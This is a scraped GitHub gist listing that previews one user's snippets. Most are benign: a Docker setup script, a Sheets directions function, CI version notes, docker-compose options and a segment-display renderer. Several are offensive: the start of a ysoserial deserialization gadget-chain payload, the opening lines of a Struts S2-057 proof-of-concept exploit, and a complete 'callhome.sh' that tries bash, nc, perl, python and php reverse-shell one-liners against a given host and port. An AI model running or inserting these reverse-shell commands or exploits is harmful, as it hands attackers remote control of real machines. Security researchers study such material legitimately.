Skip to content

Instantly share code, notes, and snippets.

View frohoff's full-sized avatar

Chris Frohoff frohoff

View GitHub Profile
@frohoff
frohoff / CommonsBeanutilsCollectionsLogging1.java
Created November 19, 2015 14:15
commons beanutils gadget chain
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Dependencies;
@frohoff
frohoff / COMMANDMENTS.md
Last active May 10, 2016 20:54
Commandments
  • Thou shalt place time/space/resource constraints on all otherwise open-ended operations
    • eg: timeouts, result counts, input sizes
  • Thou shalt strive to measure any quantitive values that can vary over time or across samples
    • eg: response times/counts, error counts,
  • Thou shalt not accept, store, transmit, or display a numerical value without its respective units or context
  • eg: timezones, metric/binary prefixes
#!/bin/bash -xe
yum update -y
yum install -y git
curl -s https://get.docker.com | sh
service docker start
chkconfig docker on
pip install -U docker-compose
@frohoff
frohoff / Code.gs
Created June 17, 2017 20:11
google sheets directions/distance functions
function qs( obj ) {
return '?'+Object.keys(obj).reduce(function(a,k){a.push(k+'='+encodeURIComponent(obj[k]));return a},[]).join('&')
}
function fetch_directions(o,d) {
Logger.log("fetching: " + JSON.stringify([o,d]));
var userProps = UserProperties.getProperties();
@frohoff
frohoff / versions.yml
Last active September 8, 2017 05:05
travis-ci osx image jdk versions
# https://github.com/frohoff/travistest
# https://github.com/travis-ci/docs-travis-ci-com/issues/593
# https://docs.travis-ci.com/user/reference/osx/#OS-X-Version
osx_image: xcode9 # oraclejdk8 1.8.0_112-b16
osx_image: xcode8.3 # oraclejdk8 1.8.0_112-b16
osx_image: xcode8.2 # oraclejdk8 1.8.0_112-b16
osx_image: xcode8.1 # oraclejdk8 1.8.0_112-b16
osx_image: xcode8 # oraclejdk8 1.8.0_92-b14
osx_image: xcode7.3 # oraclejdk8 1.8.0_74-b02
osx_image: xcode7.2 # oraclejdk8 1.8.0_66-b17
@frohoff
frohoff / docker-compose-commands.txt
Created September 8, 2017 17:10
docker-compose command usage/options
$ docker-compose 2>&1 | grep -E ' [a-z]+ ' | awk '{print $1}' | xargs -n1 -I{} docker-compose {} -h 2>&1 | grep -E '^\s*(Usage:|-+[a-z])'
Usage: build [options] [--build-arg key=val...] [SERVICE...]
--force-rm Always remove intermediate containers.
--no-cache Do not use cache when building the image.
--pull Always attempt to pull a newer version of the image.
--build-arg key=val Set build-time variables for one service.
Usage: bundle [options]
--push-images Automatically push images for any services
-o, --output PATH Path to write the bundle file to.
Usage: config [options]
@frohoff
frohoff / README.md
Last active April 30, 2018 21:36 — forked from ondrajz/README.md
UserScript: Github Links to Star Badges

preview

@frohoff
frohoff / s2-057.py
Created August 23, 2018 17:21
Struts S2-057 PoC exploit
# some ideas from https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
import sys
import urllib
import urllib2
if len(sys.argv) != 3:
print 'Usage: %s [url] [command]' % sys.argv[0]
exit(1)
@frohoff
frohoff / 14seg.py
Created December 17, 2018 16:08
14 segment display ascii renderer
#!/usr/bin/python
# $ echo bcefgG il | python 14seg.py
#
# | | |
# -- --
# | | |
import string
import sys
@frohoff
frohoff / callhome.sh
Last active October 26, 2020 17:44
Shell script that attempts multiple methods for creating a reverse shell
#!/bin/bash
host=$1
port=$2
bash -i >& /dev/tcp/$host/$port 0>&1
nc -e /bin/sh $host $port
perl -e "use Socket;\$i=\"$host\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$host\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
php -r "\$sock=fsockopen(\"$host\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");"